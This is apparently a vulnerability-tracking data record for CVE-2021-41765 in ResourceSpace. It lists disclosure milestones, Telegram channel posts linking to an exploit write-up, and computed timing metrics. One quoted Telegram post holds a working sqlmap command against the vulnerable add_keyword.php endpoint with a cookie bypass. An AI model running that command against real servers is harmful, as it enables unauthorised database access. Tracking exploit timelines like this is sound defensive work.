{"metadata": {"vulnerability": "CVE-2021-41765", "count": 20, "kinds": {"milestone": 4, "sighting": 5, "kev": 0, "other": 11}}, "data": [{"timestamp": "2021-09-27T00:00:00Z", "date_only": false, "value": "2021-09-27T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2021-41765", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-11-12T05:30:02Z", "date_only": false, "value": "2021-11-12T05:30:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1165", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "1f10d5f5-a700-497d-ba86-4feafc007c4e", "content": "#exploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1165", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2021-11-12T12:22:19Z", "date_only": false, "value": "2021-11-12T12:22:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/4735", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "7bda0339-d402-463a-b3e9-78cb9ed6bf3f", "content": "#exploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace", "url": "https://t.me/CyberSecurityTechnologies/4735", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2021-11-15T15:52:25Z", "date_only": false, "value": "2021-11-15T15:52:25.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-41765", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2021-11-15T15:52:25Z", "date_only": false, "value": "2021-11-15T15:52:25.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2021-41765", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2021-11-15T16:15:00Z", "date_only": false, "value": "2021-11-15T16:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-PGMR-V7PW-5GX5", "record": "GHSA-PGMR-V7PW-5GX5", "field": "database_specific.nvd_published_at"}, {"timestamp": "2021-11-15T16:15:00Z", "date_only": false, "value": "2021-11-15T16:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-41765", "record": "GSD-2021-41765", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2021-11-15T16:15:10.230Z", "date_only": false, "value": "2021-11-15T16:15:10.230", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-41765", "record": "FKIE_CVE-2021-41765", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2021-11-16T00:00:00Z", "date_only": true, "value": "2021-11-16", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2021-103102", "record": "CNVD-2021-103102", "field": "submitTime"}, {"timestamp": "2021-11-17T17:34:00Z", "date_only": false, "value": "2021-11-17T17:34Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-41765", "record": "GSD-2021-41765", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2021-11-26T13:37:04Z", "date_only": false, "value": "2021-11-26T13:37:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bhhub/647", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "5831f0eb-14ea-41f6-9619-322ca9cc10f1", "content": "#BugBountyTips of the Day\n\u201cFull account takeover through referral code.\u201d by Mostafa Mamdoh  https://t.co/7fJkuCibJg  #hacking #bugbounty #infosec\n---\nWordpress Plugin Update Confusion - The full guide on how to scan and mitigate the next Big Supply chain Attack   https://t.co/zRQ6o4DBNP  #BugBounty  https://t.co/Am9xH73nLR\n---\nIDOR Isn't dead :D  Check the ID Param in Burp suite history  Thanks to @e11i0t_4lders0n @theXSSrat @HemantSolo @th3cyb3rc0p   #bugbounty #infosec #idor  https://t.co/vNkAvqb5cE\n---\nCVE-2021-41765 ResourceSpace unauthorized SQL injection  ResourceSpace <= 9.5  sqlmap --cookie 'upload_share_active=1' -u \" http://127.0.0.1/pages/edit_fields/9_ajax/add_keyword.php?k=abcd\" -p k --level=5 --risk3 --dbs --mysql  #vulnerability #infosec #BugBounty #bugbountytips", "url": "https://t.me/bhhub/647"}, {"timestamp": "2021-12-29T00:00:00Z", "date_only": true, "value": "2021-12-29", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2021-103102", "record": "CNVD-2021-103102", "field": "openTime"}, {"timestamp": "2022-05-24T19:20:53Z", "date_only": false, "value": "2022-05-24T19:20:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-PGMR-V7PW-5GX5", "record": "GHSA-PGMR-V7PW-5GX5", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-05-24T19:20:53Z", "date_only": false, "value": "2022-05-24T19:20:53Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-PGMR-V7PW-5GX5", "record": "GHSA-PGMR-V7PW-5GX5", "field": "modified"}, {"timestamp": "2023-12-13T01:23:27.628Z", "date_only": false, "value": "2023-12-13T01:23:27.628237Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-41765", "record": "GSD-2021-41765", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-04T03:15:29.241Z", "date_only": false, "value": "2024-08-04T03:15:29.241Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2021-41765", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-04T03:15:29.241Z", "date_only": false, "value": "2024-08-04T03:15:29.241Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2021-41765", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T04:08:52.997Z", "date_only": false, "value": "2026-06-17T04:08:52.997", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-41765", "record": "FKIE_CVE-2021-41765", "field": "lastModified"}, {"timestamp": "2026-09-01T17:00:35.458Z", "date_only": false, "value": "2026-09-01T17:00:35.458334Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/4789", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "2e3c13f6-00f7-4b83-bee0-f09de2c9ef7a", "content": "Offensive_security\nThe Kerberos Key List Attack:\nThe return of the Read Only Domain Controllers\nhttps://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers\n\nexploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\nMalware_analysis\n1. HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks\nhttps://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks\n2. Abcbot, an evolving botnet\nhttps://blog.netlab.360.com/abcbot_an_evolving_botnet_en\n\nThreat_Research\n1. The dark side of Microsoft Remote Procedure Call protocols\nhttps://redcanary.com/blog/msrpc-to-attack\n2. Analyzing a watering hole campaign using macOS exploits\nhttps://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits", "url": "https://t.me/cissp/4789"}, {"timestamp": "2026-09-10T15:00:07.434Z", "date_only": false, "value": "2026-09-10T15:00:07.434405Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/4789", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "fc494c52-41e8-48be-bc9b-3ac30f861469", "content": "Offensive_security\nThe Kerberos Key List Attack:\nThe return of the Read Only Domain Controllers\nhttps://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers\n\nexploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\nMalware_analysis\n1. HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks\nhttps://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks\n2. Abcbot, an evolving botnet\nhttps://blog.netlab.360.com/abcbot_an_evolving_botnet_en\n\nThreat_Research\n1. The dark side of Microsoft Remote Procedure Call protocols\nhttps://redcanary.com/blog/msrpc-to-attack\n2. Analyzing a watering hole campaign using macOS exploits\nhttps://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits", "url": "https://t.me/cissp/4789", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}], "metrics": {"as_of": "2026-10-29T20:58:29.647Z", "anchors": {"origin": {"timestamp": "2021-11-15T15:52:25Z", "date_only": false, "value": "2021-11-15T15:52:25.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-41765", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2021-11-15T15:52:25Z", "date_only": false, "value": "2021-11-15T15:52:25.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-41765", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2021-11-12T05:30:02Z", "date_only": false, "value": "2021-11-12T05:30:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1165", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "1f10d5f5-a700-497d-ba86-4feafc007c4e", "content": "#exploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1165", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": -296543.0, "hours": -82.37305555555555, "days": -3.432210648148148, "min_seconds": -296543.0, "max_seconds": -296543.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2021-11-15T15:52:25Z", "date_only": false, "value": "2021-11-15T15:52:25.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-41765", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2021-11-12T05:30:02Z", "date_only": false, "value": "2021-11-12T05:30:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1165", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "1f10d5f5-a700-497d-ba86-4feafc007c4e", "content": "#exploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1165", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 156315964.647813, "hours": 43421.10129105917, "days": 1809.212553794132, "min_seconds": 156315964.647813, "max_seconds": 156315964.647813, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2021-11-15T15:52:25Z", "date_only": false, "value": "2021-11-15T15:52:25.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-41765", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-29T20:58:29.647Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 156612507.647813, "hours": 43503.47434661472, "days": 1812.64476444228, "min_seconds": 156612507.647813, "max_seconds": 156612507.647813, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2021-11-12T05:30:02Z", "date_only": false, "value": "2021-11-12T05:30:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1165", "record": "CVE-2021-41765", "field": "creation_timestamp", "uuid": "1f10d5f5-a700-497d-ba86-4feafc007c4e", "content": "#exploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1165", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-10-29T20:58:29.647Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}